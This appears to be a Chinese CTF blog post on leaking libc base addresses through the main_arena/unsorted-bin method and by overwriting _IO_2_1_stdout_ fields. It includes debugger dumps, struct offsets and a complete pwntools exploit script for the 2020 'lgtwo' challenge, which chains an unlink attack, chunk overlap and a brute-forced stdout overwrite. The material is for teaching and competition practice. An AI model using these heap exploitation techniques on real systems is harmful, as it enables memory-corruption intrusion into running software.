泄漏libc
重点: glibc 的后三位是固定的
main_arena泄漏法
main_arena存储在libc.so.6文件的.data段,通过这个偏移我们就可以获取libc的基址,使用IDA打开libc文件,然后搜索函数malloc_trim()



-
unsorted bin中第一个chunk的bk和最后一个chunk的fd都指向main_arena+48(32位)或main_arena+88(64位)的位置
-
所以只需要将chunk释放到unsorted bin便可以泄漏libc的地址
IO_FIlE泄漏法
参考资料:
https://wiki.x10sec.org/pwn/linux/io_file/exploit-in-libc2.24-zh/
https://b0ldfrev.gitbook.io/note/pwn/iofile-li-yong-si-lu-zong-jie
-
控制指针指向libc的内存区域
-
libc中全局变量_IO_list_all是个链表,其中含有三个FILE结构体
_IO_2_1_stderr_
_IO_2_1_stdout
_IO_2_1_stdin_
-
_IO_2_1_stdout_ 低三字节是0x620,倒数第四字节可以爆破,例如设成0x2620持续攻击,总会有随机到0x2620的时候
-
修改FILE结构体如下,输出的时候会输出_IO_write_base指向的位置,默认_IO_write_base指向 _shortbuf,将_IO_write_base 低两字节改为\x20会打印_IO_2_1_stdout_ 本身,其中会包含、_IO_write_base 对应的值就是_IO_2_1_stdout_ 在libc中的地址
_flags = 0xfbad1800
_IO_read_ptr = 0
_IO_read_end = 0
_IO_read_base = 0
_IO_write_base = _IO_write_base &0xffffffffffffff00+0x20
-
调用puts或printf后收到的数据如下,会泄漏libc地址如下
00000000位置是_flags
00000020位置是_IO_write_base ->_IO_2_1_stdout_
[DEBUG] Received 0x127 bytes: 00000000 00 18 ad fb 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000020 20 26 2b 70 6e 7f 00 00 a3 26 2b 70 6e 7f 00 00 │ &+p│n···│·&+p│n···│ 00000030 a3 26 2b 70 6e 7f 00 00 a3 26 2b 70 6e 7f 00 00_IO_write_base 默认指向_IO_2_1_stdout_+131的位置,把_IO_write_base 的值的最后两个字节改成0x20就是_IO_2_1_stdout_在libc中的地址
pwndbg> p _IO_2_1_stdout_ $1 = { file = { _flags = -72537977, _IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", _IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", _IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", _IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", _IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", _IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", _IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", _IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>, _fileno = 1, _flags2 = 0, _old_offset = -1, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "\n", _lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>, _offset = -1, _codecvt = 0x0, _wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = -1, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7ffff7dd06e0 <_IO_file_jumps> } pwndbg> p/x &_IO_2_1_stdout_ $2 = 0x7ffff7dd2620//64位IO_FILE_plus结构体中的偏移 0x0 _flags 0x8 _IO_read_ptr 0x10 _IO_read_end 0x18 _IO_read_base 0x20 _IO_write_base 0x28 _IO_write_ptr 0x30 _IO_write_end 0x38 _IO_buf_base 0x40 _IO_buf_end 0x48 _IO_save_base 0x50 _IO_backup_base 0x58 _IO_save_end 0x60 _markers 0x68 _chain 0x70 _fileno 0x74 _flags2 0x78 _old_offset 0x80 _cur_column 0x82 _vtable_offset 0x83 _shortbuf 0x88 _lock 0x90 _offset 0x98 _codecvt 0xa0 _wide_data 0xa8 _freeres_list 0xb0 _freeres_buf 0xb8 __pad5 0xc0 _mode 0xc4 _unused2 0xd8 vtablestruct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
2020上海大学生网络安全赛lgtwo题的exp:
其他人的exp:exp
from pwn import *
import time
def exp():
context.update(arch='amd64',os='linux',log_level='DEBUG')
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
time.sleep(1)
gdb.attach(r,cmd)
time.sleep(1)
def msg(msg,addr):
log.warn(msg + "--> " + hex(addr))
'''
>> 1
size?
20
content?
123
'''
def add(size,content='a'):
sla(">> ","1")
sla("size?\n",str(size))
sea("content?\n",content)
'''
>> 4
index ?
0
what is your new content ?
123
'''
def edit(index,content):
sla(">> ","4")
sla("index ?\n",str(index))
sea("what is your new content ?\n",content)
'''
>> 2
index ?
0
'''
def free(index):
sla(">> ","2")
sla("index ?\n",str(index))
pe = "./pwn"
debug = True
elf = ELF(pe)
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
r = process(pe)
else:
libc = ELF('./libc.so')
r = process(pe)
#r = remote('192.168.0.1',20173)
array_addr = 0x00000000006020C0 #buf
#unlink attack
add(0x68)#0
add(0x90)#1
payload = p64(0)\
+ p64(0x60)\
+ p64(array_addr-0x18)\
+ p64(array_addr-0x10)\
+ 'a'*0x40\
+ p64(0x60)\
+ b'\xa0'
edit(0,payload)
free(1)
#point to same chunk
add(0x68)#1
add(0x40)#2
add(0x40)#3
edit(1,'a'*0x68+b'\xa1')
free(2)
add(0x48)#2
add(0x40)#4->3
add(0x40)#5
add(0x40)#6
#array[1]=main_arean+88
edit(2,'a'*0x48+b'\xa1')
free(4)
edit(3,p64(0)+p64(array_addr-0x8)) #array[1]=main_arean+88
add(0x90)#4
#brute std_out
edit(0,p64(0)*3+p64(array_addr)+p16(0x2620))
edit(1,p64(0xfbad1800)+p64(0)*3+b'\x20')
ret = u64(rc(8))
if ret!=0xfbad1800:
log.warn(hex(ret))
r.close()
return
log.success("success")
rc(0x18)
stdout_addr = u64(rc(8))
msg("stdout",stdout_addr)
libc.address = stdout_addr-libc.symbols['_IO_2_1_stdout_']
msg("libc base",libc.address)
r.interactive()
while True:
try:
exp()
#break
except:
log.warn("Error")
本文介绍了两种在CTF比赛中泄露libc基址的方法:main_arena泄漏法和IO_FILE泄漏法。main_arena泄漏法通过malloc_trim()找到unsorted bin中chunk的bk和fd来获取libc基址。IO_FILE泄漏法则通过控制_IO_list_all链表中的FILE结构体,修改_IO_write_base,利用puts或printf泄露libc地址。
2392

被折叠的 条评论
为什么被折叠?



